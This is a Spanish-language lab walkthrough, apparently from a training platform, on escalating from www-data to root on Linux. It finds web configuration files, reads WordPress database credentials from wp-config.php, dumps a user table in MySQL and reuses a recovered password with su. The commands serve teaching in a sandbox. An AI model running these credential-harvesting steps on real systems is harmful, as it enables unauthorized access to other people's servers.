Los archivos de configuración de servicios web pueden contener información sensible, como credenciales de base de datos, que se pueden utilizar para la escalada de privilegios si el administrador ha reutilizado contraseñas.
-
Primero, abre una terminal y navega hasta /home/labex/project
.
cd /home/labex/project
Comencemos inicializando el entorno del laboratorio:
./env_setup_1.sh
Después de la inicialización, ahora estamos operando como el usuario www-data
, simulando una shell de bajo privilegio obtenida a través de una vulnerabilidad web.
-
Los servicios web en Linux se almacenan típicamente en el directorio /var/www
. Debemos centrarnos en los siguientes archivos:
database.php
user.php
*.config
config.php
Podemos buscar estos archivos utilizando el siguiente comando:
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null
Salida esperada:
/var/www/wordpress/wp-admin/includes/user.php
/var/www/wordpress/wp-includes/user.php
/var/www/wordpress/wp-content/plugins/akismet/views/config.php
Además, si el sistema objetivo está utilizando un Sistema de Gestión de Contenidos (CMS, por sus siglas en inglés), podemos buscar la ubicación del archivo de conexión a la base de datos predeterminado para ese CMS específico.
-
En este entorno de laboratorio, el servidor está utilizando el CMS WordPress. Al buscar, encontramos que la configuración de la base de datos de WordPress se almacena en el archivo /var/www/wordpress/wp-config.php
:
more /var/www/wordpress/wp-config.php
Este archivo contiene las credenciales de la cuenta root de MySQL:
/** MySQL database username */
define( 'DB_USER', 'root' );
/** MySQL database password */
define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
-
Teniendo en cuenta la posibilidad de que el administrador haya reutilizado la contraseña, podemos intentar iniciar sesión como el usuario root del sistema utilizando esta contraseña:
su -
Desafortunadamente, esta contraseña no funciona para el usuario root.
-
A continuación, podemos iniciar sesión en la base de datos MySQL y buscar más información:
mysql -u root -p -h 127.0.0.1
Ingresa la contraseña del archivo wp-config.php
:
cD8M2M8fMiDHu4m1
Dentro de la base de datos MySQL, podemos ejecutar los siguientes comandos para recopilar más información:
Verifica las bases de datos disponibles:
show databases;
Selecciona la base de datos ROB
:
use ROB;
Lista las tablas en la base de datos ROB
:
show tables;
Selecciona la tabla rob_user
:
select * from rob_user;
De la base de datos, obtenemos dos conjuntos más de credenciales:
root:CMPc5MoAGf
alice:psoj9apv4u
Sal de la base de datos MySQL:
exit
-
Podemos intentar iniciar sesión como el usuario root utilizando la contraseña CMPc5MoAGf
:
su -
Ingresa la contraseña que obtuvimos de la base de datos:
CMPc5MoAGf
¡Esta vez, obtenemos acceso root con éxito!
-
Crea un archivo llamado proof.txt
en el directorio /root
para demostrar la escalada de privilegios exitosa:
echo "Success" > /root/proof.txt
Verifica que el archivo se haya creado:
ls /root/proof.txt
En este paso, aprendimos cómo encontrar y explotar información sensible en archivos de configuración de servicios web para escalar privilegios. La idea central es buscar credenciales de autenticación en el servidor y aprovechar la posible reutilización de contraseñas para la escalada de privilegios.